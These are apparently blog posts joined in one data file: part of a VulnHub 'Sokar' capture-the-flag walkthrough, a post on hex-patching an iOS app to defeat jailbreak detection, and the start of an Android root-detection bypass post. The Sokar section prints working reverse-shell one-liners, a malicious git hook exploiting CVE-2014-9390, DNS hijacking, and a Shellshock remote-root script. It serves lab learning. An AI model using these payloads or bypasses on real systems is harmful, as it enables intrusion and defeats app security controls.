EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554a2b \u0026lt;main+316\u0026gt;: mov eax,0x0 0x555555554a30 \u0026lt;main+321\u0026gt;: call 0x5555555547a0 \u0026lt;setreuid@plt\u0026gt; 0x555555554a35 \u0026lt;main+326\u0026gt;: mov rdi,rbx =\u0026gt; 0x555555554a38 \u0026lt;main+329\u0026gt;: mov eax,0x0 0x555555554a3d \u0026lt;main+334\u0026gt;: call 0x555555554750 \u0026lt;system@plt\u0026gt; 0x555555554a42 \u0026lt;main+339\u0026gt;: mov rsp,r12 0x555555554a45 \u0026lt;main+342\u0026gt;: jmp 0x555555554a5d \u0026lt;main+366\u0026gt; 0x555555554a47 \u0026lt;main+344\u0026gt;: lea rsi,[rip+0x12c] # 0x555555554b7a [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe740 (\u0026#34;/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) 0008| 0x7fffffffe748 (\u0026#34;/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) 0016| 0x7fffffffe750 (\u0026#34;ne ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) 0024| 0x7fffffffe758 (\u0026#34;/root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) 0032| 0x7fffffffe760 (\u0026#34;kar-dev:/root/secret-project /mnt/secret-project/\u0026#34;) 0040| 0x7fffffffe768 (\u0026#34;/root/secret-project /mnt/secret-project/\u0026#34;) 0048| 0x7fffffffe770 (\u0026#34;cret-project /mnt/secret-project/\u0026#34;) 0056| 0x7fffffffe778 (\u0026#34;ject /mnt/secret-project/\u0026#34;) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000555555554a38 in main () gdb-peda$ x/x $rbx 0x7fffffffe740: 0x2f gdb-peda$ x/s $rbx 0x7fffffffe740: \u0026#34;/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/\u0026#34; gdb-peda$ x/s $rdx 0x7fffffffe7a0: \u0026#34;f\u0026lt;:;f+ \u0026#39;f. =i*%\u0026amp;\u0026#39;,i::!sff;\u0026amp;\u0026amp;=\\t:\u0026amp;\\\u0026#34;(;d-,?sf;\u0026amp;\u0026amp;=f:,*;,=d9;\u0026amp;#,*=if$\u0026#39;=f:,*;,=d9;\u0026amp;#,*=f\u0026#34; gdb-peda$ Right before this call though, there is a instruction to call 0x5555555547a0 \u0026lt;setreuid@plt\u0026gt; to set the UID to 0. So, this brought me to the conclusion that build is running /usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/ as root. But what is so special about this?\ninspecting git I did a lot of poking around here, wondering if I should pursue the avenue of trying to exploit the b0f which has the SSP, or should I try and figure out the significance of a git clone as root? One of my first theories was that if I could get sokar-dev to resolve to something I am in control of (like my Kali vm), I could attempt to have git clone a setuid shell. This was, of course, before I remembered that the only permissions git will honor really is the symlink and executable bits :(\nFurther enumeration while I was thinking about the possibilities revealed that /mnt/ was actually mounted with the vfat filesystem!\nleonjza@kali/sokar $ python apophis.py \u0026#34;mount; cat /etc/fstab\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;mount; cat /etc/fstab\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: /dev/sda1 on / type ext4 (rw) proc on /proc type proc (rw) sysfs on /sys type sysfs (rw) devpts on /dev/pts type devpts (rw,gid=5,mode=620) tmpfs on /dev/shm type tmpfs (rw) /dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502) none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw) # # /etc/fstab # Created by anaconda on Wed Nov 12 13:29:15 2014 # # Accessible filesystems, by reference, are maintained under \u0026#39;/dev/disk\u0026#39; # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info # UUID=cdb3ac23-d831-4104-bc76-e3a56314b6e4 / ext4 defaults 1 1 tmpfs /dev/shm tmpfs defaults 0 0 devpts /dev/pts devpts gid=5,mode=620 0 0 sysfs /sys sysfs defaults 0 0 proc /proc proc defaults 0 0 /dev/sdb1 /mnt vfat defaults,uid=501,gid=502 0 0 As you can see, /mnt also specified the uid/gid for files on the mount, so even if I were able to get a suid shell onto the file system, root will not be the one owning it.\nHowever. vfat. Why vfat\u0026hellip; Of course! CVE-2014-9390. The potential client side code execution bug in older git versions where a case insensitive filesystem may cause the git client to read hooks from .Git/hooks instead of .git/hooks. And, of course, vfat is a case insensitive filesystem, which makes for the perfect scenario to exploit this bug.\nI checked up on the installed version of git on Sokar, just to make sure that it is in fact vulnerable:\nleonjza@kali/sokar $ python apophis.py \u0026#34;git --version\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;git --version\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: git version 2.2.0 Great. git version 2.2.1 fixed this bug so we are in luck.\nrooting sokar All of this information was great to have, but it still had one major problem. How can I clone a repository I own? I made countless attempts to try fool the environment into resolving sokar-dev to my Kali Host. Every single one failed. All of the material on the topic that I found online suggest that the SUID process \u0026lsquo;cleans up\u0026rsquo; the environment, especially for reasons such as this one.\nI started doubting my plan and was nearing a point of leaving Sokar for a bit to rethink my strategy when I realized the following gem:\nleonjza@kali/sokar $ python apophis.py \u0026#34;find /etc/ -writable -type f 2\u0026gt;/dev/null | xargs ls -lh\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;find /etc/ -writable -type f 2\u0026gt;/dev/null | xargs ls -lh\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: -rw-rw-rw- 1 root root 19 Jan 2 20:12 /etc/resolv.conf /etc/resolv.conf is world writable. This is perfect! I can change the DNS server to use to one that I control, obviously feeding it a IP that will be my local Kali instance :D\npreparing the environment and exploit I decided to use dnsmasq for a quick to setup DNS server. I added a line to /etc/dnsmasq.hosts to answer a query for sokar-dev:\nleonjza@kali/sokar $ cat /etc/dnsmasq.hosts 192.168.217.174 sokar-dev \u0026hellip; and started the dnsmasq server:\nleonjza@kali/sokar $ dnsmasq --no-daemon --log-queries -H /etc/dnsmasq.hosts dnsmasq: started, version 2.62 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 192.168.252.2#53 dnsmasq: read /etc/hosts - 6 addresses dnsmasq: read /etc/dnsmasq.hosts - 1 addresses Testing my DNS server proved that it was working just fine:\nleonjza@kali/sokar $ dig sokar-dev @127.0.0.1 ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.8.4-rpz2+rl005.12-P1 \u0026lt;\u0026lt;\u0026gt;\u0026gt; sokar-dev @127.0.0.1 ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 48044 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;sokar-dev. IN A ;; ANSWER SECTION: sokar-dev. 0 IN A 192.168.217.174 ;; Query time: 13 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue Feb 3 12:12:02 2015 ;; MSG SIZE rcvd: 43 Awesome. The next step was to replace the contents of Sokar\u0026rsquo;s /etc/resolv.conf so that the dns server to use is 192.168.217.174 with the command python apophis.py \u0026quot;echo \\\u0026quot;nameserver\\ 192.168.217.174\\\u0026quot; \u0026gt; /etc/resolv.conf\u0026quot; and confirm that it worked:\nleonjza@kali/sokar $ python apophis.py \u0026#34;cat /etc/resolv.conf\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;cat /etc/resolv.conf\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: nameserver 192.168.217.174 Great. Testing time!\nleonjza@kali/sokar $ python apophis.py \u0026#34;echo Y | /home/apophis/build\u0026#34; * Executing /usr/bin/python -c \u0026#34;import time; time.sleep(2); print \u0026#39;overdrive\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;, \u0026#39;-l\u0026#39;, \u0026#39;-c\u0026#39;,\u0026#39;echo Y | /home/apophis/build\u0026#39;, \u0026#39;apophis\u0026#39;]);\u0026#34; Password: Cloning into \u0026#39;/mnt/secret-project\u0026#39;... Host key verification failed. fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. Build? (Y/N) Yesssssss, and nooooooooo. From the dnsmasq console output I could see the request for sokar-dev coming in and a reply getting sent:\ndnsmasq: query[A] sokar-dev from 192.168.217.163 dnsmasq: /etc/dnsmasq.hosts sokar-dev is 192.168.217.174 However, in order for the SSH session to happen, I need to either accept or bypass the host key verification. There are many ways to do this, but sadly, with my current (still! :D) nonexistent interactive shell, I can not type \u0026lsquo;yes\u0026rsquo;. I can not use ssh-keyscan \u0026gt;\u0026gt; ~/.ssh/known_hosts as I can\u0026rsquo;t write to root\u0026rsquo;s .ssh directory, nor can I modify the command that is being passed onto system() in the binary to specify -o StrictHostKeyChecking=no.\nUnfortunately, due to these restrictions, I had to finally give in and go one step back to bynarr.py and use his allowed egress access on tcp/51242 to build a interactive shell. On one session I started a netcat listener, and on another, I ran python bynarr.py \u0026quot;/bin/rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 192.168.217.174 51242 \u0026gt;/tmp/f\u0026quot;.\nleonjza@kali/sokar $ nc -lvp 51242 listening on [any] 51242 ... 192.168.217.163: inverse host lookup failed: Unknown server error : Connection timed out connect to [192.168.217.174] from (UNKNOWN) [192.168.217.163] 40382 sh: no job control in this shell sh-4.1$ python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; python -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; [bynarr@sokar cgi-bin]$ su - apophis su - apophis Password: overdrive [apophis@sokar ~]$ id id uid=501(apophis) gid=502(apophis) groups=502(apophis) [apophis@sokar ~]$ With the interactive shell as apophis now, I was able to accept the SSH hostkey check.\nThe next thing left on the list was to prepare a git repository that can actually be cloned. Setting one up is reaaaaally simple. Because I knew that it will be looking for /root/secret-project, I prepared just that on my Kali VM:\nleonjza@kali/sokar $ cd /root leonjza@kali/root $ mkdir secret-project leonjza@kali/root $ cd secret-project leonjza@kali/root/secret-project $ git init --bare Initialized empty Git repository in /root/secret-project/ leonjza@kali/root/secret-project | git:master $ Thats it\u0026hellip; Next, I cloned it locally in a different folder.\nleonjza@kali/sokar $ git clone ssh://127.0.0.1/root/secret-project Cloning into \u0026#39;secret-project\u0026#39;... root@127.0.0.1\u0026#39;s password: warning: You appear to have cloned an empty repository. leonjza@kali/sokar $ cd secret-project leonjza@kali/sokar/secret-project | git:master $ Done. Working from a PoC exploit found here, I continued to prepare a similar exploit, except for the fact that I changed the actual hook to connect to my Mac (hosting the VM\u0026rsquo;s) on a tcp/22 netcat listener, spawning a shell. I knew tcp/22 traffic was allowed due to the SSH host key verification step that needed some work :)\nleonjza@kali/sokar/secret-project | git:master $ mkdir .Git leonjza@kali/sokar/secret-project | git:master $ cd .Git leonjza@kali/sokar/secret-project/.Git | git:master $ mkdir hooks leonjza@kali/sokar/secret-project/.Git | git:master $ cd hooks leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ vim post-checkout leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ cat post-checkout #!/bin/sh bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.217.1/22 0\u0026gt;\u0026amp;1 leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ chmod +x ./post-checkout leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git add -A leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git commit -m \u0026#39;pwnd\u0026#39; [master (root-commit) ee364fd] pwnd Committer: root \u0026lt;root@localhost.localdomain\u0026gt; 1 file changed, 2 insertions(+) create mode 100755 .Git/hooks/post-checkout leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ git push -u origin master root@127.0.0.1\u0026#39;s password: Counting objects: 5, done. Compressing objects: 100% (2/2), done. Writing objects: 100% (5/5), 345 bytes, done. Total 5 (delta 0), reused 0 (delta 0) To ssh://127.0.0.1/root/secret-project * [new branch] master -\u0026gt; master Branch master set up to track remote branch master from origin. leonjza@kali/sokar/secret-project/.Git/hooks | git:master $ With my evil repository ready, it was time to try that build again :)\n[apophis@sokar ~]$ ./build ./build Build? (Y/N) Y Y Cloning into \u0026#39;/mnt/secret-project\u0026#39;... root@sokar-dev\u0026#39;s password: # redact lol remote: Counting objects: 5, done. remote: Compressing objects: 100% (2/2), done. Receiving objects: 100% (5/5), done. remote: Total 5 (delta 0), reused 0 (delta 0) Checking connectivity... done. This shell just \u0026lsquo;hung\u0026rsquo; there, however, the netcat listener on my Mac had a different story to tell:\nleonjza@laptop » sudo nc -lv 22 Password: [root@sokar secret-project]# cat /root/flag cat /root/flag 0 0 | | ____|___|____ 0 |~ ~ ~ ~ ~ ~| 0 | | Happy | | ___|__|___________|___|__ |/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/| 0 | B i r t h d a y | 0 | |/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/| | _|___|_______________________|___|__ |/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/| | | | V u l n H u b ! ! | | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ | |___________________________________| ===================================== | Congratulations on beating Sokar! | | | | Massive shoutout to g0tmi1k and | | the entire community which makes | | VulnHub possible! | | | | rasta_mouse (@_RastaMouse) | ===================================== [root@sokar secret-project]# conclusion What a blast! Them feels of r00t are so gooood. For the curios, that firewall that was making life so difficult:\n[root@sokar secret-project]# cat /etc/sysconfig/iptables cat /etc/sysconfig/iptables # Firewall configuration written by system-config-firewall # Manual customization of this file is not recommended. *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT -A INPUT -p icmp -j DROP -A INPUT -i lo -j ACCEPT -A INPUT -m state --state ESTABLISHED -p tcp --sport 22 -j ACCEPT -A INPUT -m state --state NEW,ESTABLISHED -p tcp --dport 591 -j ACCEPT -A INPUT -p udp --sport 53 -j ACCEPT -A OUTPUT -m state --state NEW,ESTABLISHED -m owner --uid-owner 0 -p tcp --dport 22 -j ACCEPT -A OUTPUT -p udp --dport 53 -m owner --uid-owner 0 -j ACCEPT -A OUTPUT -m state --state ESTABLISHED -p tcp --sport 591 -j ACCEPT -A OUTPUT -m state --state NEW,ESTABLISHED -m owner --gid-owner 501 -p tcp --dport 51242 -j ACCEPT -A OUTPUT -j DROP COMMIT edit I have been wondering if it was possible to get complete remote root command execution using the sample python scripts used for apophis and bynarr. Well, turns out the lime script run with sudo can be shocked too!\n#!/usr/bin/python # 2015 Leon Jacobs # sokar remote root command execution import requests import sys if len(sys.argv) \u0026lt; 2: print \u0026#34; * Usage %s\u0026lt;cmd\u0026gt;\u0026#34; % sys.argv[0] sys.exit(1) # Grab the command from the args command = sys.argv[1].strip() # prep to shock the lime script root_command = \u0026#34;\u0026#34;\u0026#34;echo \u0026#34;N\u0026#34; | sudo MAIL=\\\\\u0026#34;() { :;}; %s;\\\\\u0026#34; /home/bynarr/lime\u0026#34;\u0026#34;\u0026#34; % command # prep to exec the command as bynarr payload = \u0026#34;\u0026#34;\u0026#34;/usr/bin/python -c \u0026#34;import time; time.sleep(1); print \u0026#39;fruity\u0026#39;\u0026#34; | /usr/bin/python -c \u0026#34;import pty; pty.spawn([\u0026#39;/bin/su\u0026#39;,\u0026#39;-c\u0026#39;,\u0026#39;%s\u0026#39;, \u0026#39;bynarr\u0026#39;]);\u0026#34; \u0026#34;\u0026#34;\u0026#34; % root_command # be verbose about the full command print \u0026#34; * Executing %s\\n\u0026#34; % payload # Send the sploit headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;() { :;};echo;%s\u0026#34; % payload } print requests.get(\u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34;, headers=headers).text.strip() Run with python root.py \u0026quot;/bin/cat /root/flag\u0026quot; :D\nThanks to @_RastaMouse for the VM, and as always, @VulnHub for the hosting and great community!\n","permalink":"https://leonjza.github.io/blog/2015/02/21/beating-sokar-the-vulnhub-turns-0b10-challenge/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"http://blog.vulnhub.com/2015/01/vulnhub-is-0b10.html\"\u003eVulnhub is 0b10\u003c/a\u003e years old. That is binary for 2 :) In order to celebrate this, \u003ca href=\"https://twitter.com/_RastaMouse\"\u003e@_RastaMouse\u003c/a\u003e\ncreated \u003ca href=\"https://www.vulnhub.com/entry/sokar-1,113/\"\u003eSokar\u003c/a\u003e.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/sokar_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eSokar was used as another writeup competition (the first for 2015), similar to the \u003ca href=\"https://leonjza.github.io/blog/2014/09/18/from-persistence/\"\u003ePersistence\u003c/a\u003e challenge from Sep \u0026lsquo;14.\nFrom the \u003ca href=\"http://blog.vulnhub.com/2015/01/competition-sokar.html\"\u003ecompetition announcement blogpost\u003c/a\u003e, the rules of engagement were pretty familiar. Boot the VM, pwn it via the network and find the flag.\nOf course, modifying the VM in order to help you get the flag (things like single user mode, rescue disks etc) are not allowed and you have to actually be able to prove how you got r00t.\u003c/p\u003e\n\u003cp\u003eSokar frustrated me. A lot. However, almost all of the challenges and configurations of Sokar were plausible. Most of the vulnerabilities are valid in the sense that it may as well be out there in wild. So, it was a great learning experience once again!\u003c/p\u003e\n\u003cp\u003eHere is my entry for the competition. Enjoy! :)\u003c/p\u003e","title":"beating sokar the vulnhub turns 0b10 challenge"},{"content":"introduction Not too long ago, I toyed with a Android root detection bypass. In a similar scenario, I was poking at a iOS application that also had some root detection built in. For very much the same purpose, I suppose the application has its own ~reasons~ for the jailbreak detection. Of course, this makes the testing I actually wanted to do impossible as I\u0026rsquo;d very much like to dig under the hood :)\n  So, its was time to try and bypass the jailbreak detection of the application. All I had to work with was a .ipa. Similar to the android .apk file, the .ipa is also just a zipped up archive of the actual application files. To test with, I had a iPad mini. The iPad was running the latest iOS (8.1.2 at the time of this post) and was also jailbroken. If I remember correctly the jailbreak tool used was called TaiG. Anyways, inside the applications .ipa archive was a whole bunch of resource files and what not, including the compiled application executable. This executable is what is of interest.\nunderstanding the behavior I installed the app onto my iPad, and started to inspect its behavior. When the application starts, it would immediately throw a security related error, notifying the user that it has detected the environment as one that is jailbroken. This happens pretty fast too. Once the jailbreak detection error shows, the application refuses to continue to run. Restarting the application simply continues this loop.\nI studied some iOS jailbreak detection methods online which revealed many of them as being pretty obvious. From detecting the presence of /bin/bash or Cydia.app, to examining the exit status if fork(). There are some more advanced methods as well such as checking the existence of certain known dylib\u0026rsquo;s too (which apparently is the hardest to circumvent). For the purpose of this post, the jailbreak detection was pretty weak and did not have any of the more advanced methods implemented. In fact, I am pretty sure there won’t be that many apps out there that will be this easy to bypass.\ndiscovering the implementation Armed with some knowledge of how its typically done in the iOS world, I proceeded to take a look at the actual application binary:\nleonjza@laptop » file myApplication myApplication: Mach-O executable arm Compiled as a Mach-O executable from Objective-C, I loaded up the binary from the extracted .ipa into the Hopper disassembler to help me get an idea of what is happening. Hopper has some nice features such as generating pseudo code etc, so I quite like using it for these types of excursions. To start off, I searched around for strings that were related to the word jailbreak within the app. Class definitions, methods or any strings related to the term jailbreak was ok. I just wanted to get something to start off with. I found nothing.\nOf course this had me thinking that I may have missed the plot entirely. I continued to search for other things related to jailbreaking, and got a hit immediately for the term /bin/bash in the string section:\n  In fact, there are quite a few other jailbreak related strings in this section. From within Hopper, one can check where these strings are referenced from. So, I followed this and landed up in a function that does what I would have expected a jailbreak detection function to do, but with a completely unexpected class/method name. -[MobileDisplay isRetinaDisplay]:. Very sneaky :) So we are working with the isRetinaDisplay method which is the one doing the jailbreak detection:\n  As can be seen in the above screenshot, the fileExistsAtPath for /Applications/Cydia.app is hardly something I would have expected in a isRetinaDisplay implementation :P\nplanning an attack At this stage, I was fairly certain that I had found the code I was looking for. From the method name isRetinaDisplay, I reasoned a little and guessed that this was actually supposed to say isJailBroken. I want this method to return false. My mind went straight to getting cycript ready for some method swizzling. I started to set things up and played around a little, when I realized that I don\u0026rsquo;t think I will be able to manipulate the runtime fast enough for this to work. Remember, the first thing the app does is check the jailbreak status.\nA bit of thinking, a few coffees, special alone time with Google and lots of reading, I come to realize that even if I was able to get this method swizzling to work, I\u0026rsquo;d have to do this every time the application starts up. This was not going to work for me. It was time to rethink my strategy.\nConsidering how the jailbreak detection works, most of the ways that I saw in the application were related to file existence checks. There was also an attempt to write to /private/jailbreak.txt, as well as open a cydia:// url. I realized that I could probably just change these strings to things that will inherently fail and cause the method to not return true for any of the checks.\nin 1992 we had hex editors too I ssh\u0026rsquo;d into my iPad and located the applications installed directory. Once I had found this, I scp\u0026rsquo;d the compiled binary to my kali linux install, and opened it in a hex editor. I realized later I could have probably just used the binary I already had locally :P\nReferencing the disassembly of isRetinaDisplay, I searched for the strings it used using a Hex editor. Each string I would replace a few characters with 0 ensuring that I keep the original string length intact. For eg: /bin/bash was replaced with /bin/ba00.\nI ended up editing the following strings using the hex editor:\n /Applications/Cydia.app -\u0026gt; /Applications/Cyd00.app /Library/MobileSubstrate/MobileSubstrate.dylib -\u0026gt; /Library/MobileSubstrate/MobileSubstra00.dylib /bin/bash -\u0026gt; /bin/ba00 /usr/sbin/sshd -\u0026gt; /usr/sbin/ss00 /etc/apt -\u0026gt; /etc/a00 /private/jailbreak.txt -\u0026gt; /0000000/0000000000000 cydia://package/com.example.package -\u0026gt; cyd00://package/com.example.package    I saved the modifications that I had done, and scp\u0026rsquo;d the binary back to my iPad to the folder where it was installed. I literally just overwrote the existing binary. At this stage I figured I will most certainly have some form of signing related problem as the binary has been tampered with. Well, this was not the case. Instead, I no longer was greeted with the lame jailbreak security error :P\nsummary In the end, it was pretty easy to find the jailbreak detection code. Deducing a few things based on the disassembly made it easy to find the method responsible for the checks, regardless of the attempt to hide it via a name change. Furthermore, using something as simple as a hex editor, a trivial implementation such as this was very easily bypassed :)\n","permalink":"https://leonjza.github.io/blog/2015/02/20/a-trivial-ios-jailbreak-detection-bypass/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003eNot too long ago, I toyed with a \u003ca href=\"https://leonjza.github.io/blog/2015/02/09/no-more-jailbreak-detection-an-adventure-into-android-app-reversing-and-smali-patching/\"\u003eAndroid root detection bypass\u003c/a\u003e. In a similar scenario, I was poking at a iOS application that also had some root detection built in. For very much the same purpose, I suppose the application has its own ~reasons~ for the jailbreak detection. Of course, this makes the testing I \u003cem\u003eactually\u003c/em\u003e wanted to do impossible as I\u0026rsquo;d very much like to dig under the hood :)\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/ios_jailbreak_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eSo, its was time to try and bypass the jailbreak detection of the application.\nAll I had to work with was a \u003ccode\u003e.ipa\u003c/code\u003e. Similar to the android \u003ccode\u003e.apk\u003c/code\u003e file, the \u003ccode\u003e.ipa\u003c/code\u003e is also just a zipped up archive of the actual application files. To test with, I had a iPad mini. The iPad was running the latest iOS (8.1.2 at the time of this post) and was also jailbroken. If I remember correctly the jailbreak tool used was called TaiG. Anyways, inside the applications \u003ccode\u003e.ipa\u003c/code\u003e archive was a whole bunch of resource files and what not, including the compiled application executable. This executable is what is of interest.\u003c/p\u003e","title":"a trivial iOS jailbreak detection bypass"},{"content":"introduction I will start by saying that I am by no means a expert in anything you are about to read. I am also not 100% sure about the correct terminology for this type of patching. Maybe it should have been called binary patching? I don\u0026rsquo;t know, but I do know that I was quite literally shocked by the ease of getting this job done, and figured its time to make some notes for me to reflect on later again.\n  Recently I had the opportunity to poke at an Android .apk. My task was a little different from what I am about to blog about, but the fundamental idea remained the same. I wanted to inspect some traffic of an application, but the application had jailbreak detection built in and refused to run if the device its running on is detected as jailbroken. This had to be bypassed first. To play with the apk, I needed to get some tools setup and learn a few things about the Android environment really fast. There are tons of resources available online to describe to you the general idea behind Android, as well as how its all stitched together. You will quickly come to realize that apps can be written in Java. For the purpose of this post, the focus is to bypass the jailbreak detection the apk had and let it continue normal operations.\nso what about jailbreaking While I refer to jailbreaking, there are a number of terms used out there to describe the same thing. In the Android world, rooting seems to be what is more commonly known. However, the premise remains the same. Rooting/Jailbreaking your device means that you escape the OS implemented sandboxing and gain full root access to your device. Many mobile applications are against this as a compromised sandbox may have occurred unknowingly, effectively meaning that the device is compromised. So, as a safety measure, applications check for this and refuse to run because of it.\nJailbreak detection itself is a interesting field. From simple static file existence checks, to checking the exit codes of calls to fork() and su all the way to inspecting loaded dynalibs (in the iOS world), everything is fair game. While a compromised device is a totally legit reason to not run any sensitive applications (think credential theft, traffic redirection etc), there are cases where a jailbroken device occurred on purpose. In these cases, power users may find application jailbreak detection very annoying :)\ngetting started The very first thing one would obviously need is the application you want to modify. I already had the apk I wanted to modify at hand. If you don’t have it then there are many ways to get an already installed apk off a device. You just need to Google it :) Like, this.\nJust having the apk though was not very useful. I needed something to run it on. I don’t have a hardware device handy so in comes the Android Studio, which includes the SDK and a Emulator. I downloaded the Android Studio here and promptly installed it. I fired it up and clicked next furiously, waiting for more crap to download, till finally it looked like it was done.\n  The next daunting task was to find the SDK updater. I wanted to install the x86 Emulator Accelerator amongst other things. Some searching around got me to the directory ~/Library/Android/sdk/tools which had the android and emulator programs I was after. I fired up the SDK updater with ~/Library/Android/sdk/tools/android and updated/installed all the stuff I wanted (yay more downloading). In the end, my installed packages ended up as follows:\n  preparing an actual emulator With the software I needed for the emulator downloaded and ready, it was time to configure a avd (Android Virtual Device). I fired up the command ~/Library/Android/sdk/tools/android avd and was presented with the Android Virtual Device Manager. I then proceeded to create a New device as follows:\n  Saved that and quit the AVD Manager. That is all that I needed for the hardware portion. To test the avd that I have just made, I chose to run it quickly using ~/Library/Android/sdk/tools/emulator -avd test:\n  Aaaand it works! I was actually testing network connectivity of the apk in question, so I will add the information for that at the end of the post as a small FYI.\nWith the emulator running and working, it was time to install the apk to test. To do this, we use a tool call adb. This can be found in ~/Library/Android/sdk/platform-tools/adb. A number of features are available to us using adb, such as pushing files to and from the device and installing applications. The apk I was testing, was installed while the emulator was running:\nleonjza@laptop » ~/Library/Android/sdk/platform-tools/adb install ~/MyApplication.apk * daemon not running. starting it now on port 5037 * * daemon started successfully * 2383 KB/s (4184313 bytes in 1.714s) pkg: /data/local/tmp/MyApplication.apk Success The application popped up under the menu on the emulator and I was able to launch it. However, the application sees the Andriod Emulator as a jailbroken device, and refuses to start up. Not a problem :)\nNote If you get a error such as INSTALL_FAILED_DUPLICATE_PERMISSION, it usually meant that the application is already installed. Simply uninstall it from the emulator and retry the install. The storage on the emulator was persistent throughout reboots for me which was quite nice too.\nlooking at the apk, getting the juicy bits Before I could even begin to think about where to look for the Jailbreak checking code, I first had to understand very quickly how a apk gets to be, and what it contains. Most importantly, the apk can be unzipped and its contents further examined. Wikipedia does a very good of giving you a rundown on a very high level. Just enough to grasp which parts may be of interest. It seemed like the juicy bits I am after will be in classes.dex. This is what looks like to be the compiled logic in the [dex file format](http://en.wikipedia.org/wiki/Dalvik_(software) understandable by the Dalvik virtual machine. Ok. But how do I make that into something I can understand?\nIn comes dex2jar. A utility that will convert android dex files into Java source. :) I downloaded the latest archive and extracted it. I then extracted classes.dex from the apk too:\nleonjza@Laptop » unzip MyApplication.apk classes.dex Archive: MyApplication.apk inflating: classes.dex With the classes.dex file ready, I ran it through dex2jar:\nleonjza@Laptop » dex2jar-0.0.9.15/dex2jar.sh classes.dex this cmd is deprecated, use the d2j-dex2jar if possible dex2jar version: translator-0.0.9.15 dex2jar classes.dex -\u0026gt; classes_dex2jar.jar Done. I now have a jar file that I could open up in something like Luyten and examine further. I downloaded the latest Luyten jar and opened the classes_dex2jar.jar file with java -jar luyten-0.4.3.jar classes_dex2jar.jar. This totally looks like Java sources for the application :D\nI went through quite a large amount of code, trying to piece together how everything fits into one another. After some time, I finally came across RootDetection.class:\n  This is only a section of the code that attempts to detect if the device that the application is running on is rooted. Quite a number of checks are present, however the failure comes in where its only 1 